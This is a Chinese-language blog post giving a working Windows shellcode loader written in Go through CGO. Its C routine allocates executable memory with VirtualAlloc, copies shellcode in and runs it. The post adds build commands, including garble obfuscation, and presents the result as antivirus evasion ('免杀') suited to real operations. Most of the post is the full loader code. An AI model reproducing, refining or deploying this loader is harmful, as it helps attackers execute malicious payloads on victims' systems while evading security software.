思路都是摸鱼时候蹦出来的
闲聊几句
在Github冲浪的时候,发现了一个项目使用了CGO来直接调用Windows API,避免了Go调用Windows API的各种繁琐操作
但Go调用C需要CGO作为桥梁,CGO文档:https://pkg.go.dev/cmd/cgo
写一个三行代码的加载器
使用C写一个加载器真的很简单,C的好处就是可以直接和内存交互
#include <windows.h>
void direct(uintptr_t p, int len) {
LPVOID Memory = VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, (void*)p, len);
((void(*)())Memory)();
}
加载的流程:分配内存空间、拷贝shellcode、执行
CGO的联动
先看完整的代码
/*
#include <windows.h>
void invokeDLL(uintptr_t p, int len) {
LPVOID Memory = VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, (void*)p, len);
((void(*)())Memory)();
}
*/
import "C"
import "unsafe"
func InvokeDLL(p []byte) {
C.invokeDLL((C.uintptr_t)(uintptr(unsafe.Pointer(&p[0]))), (C.int)(len(p)))
}
将C定义的函数在Go之中调用,就是CGO强大。但是要注意调用定义的C方法使用需要使用前缀C.来说明是调用C,接着将C对应的数据类型和Go的数据类型对应,再转换成Go的函数正常调用即可
免杀效果
编译命令 1
go build -ldflags=”-s -w -H=windows” -trimpath .
编译命令 2
go build -ldflags=”-s -w” -trimpath .
编译命令 3
garble -tiny -literals -seed=random build -ldflags=”-s -w” -trimpath
总结
基本上区别不大,但是会少了很多对Go调用API的检查,代码压缩得很小也利于实战
但这只是一个非常基础的加载器,截图中都是不考虑shellcode的免杀的,这点要注意一下
附上完整的代码
package main
/*
#include <windows.h>
void invokeDLL(uintptr_t p, int len) {
LPVOID Memory = VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, (void*)p, len);
((void(*)())Memory)();
}
*/
import "C"
import "unsafe"
func InvokeDLL(p []byte) {
C.invokeDLL((C.uintptr_t)(uintptr(unsafe.Pointer(&p[0]))), (C.int)(len(p)))
}
func main() {
InvokeDLL(shellcode)
}
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
请登录后查看评论内容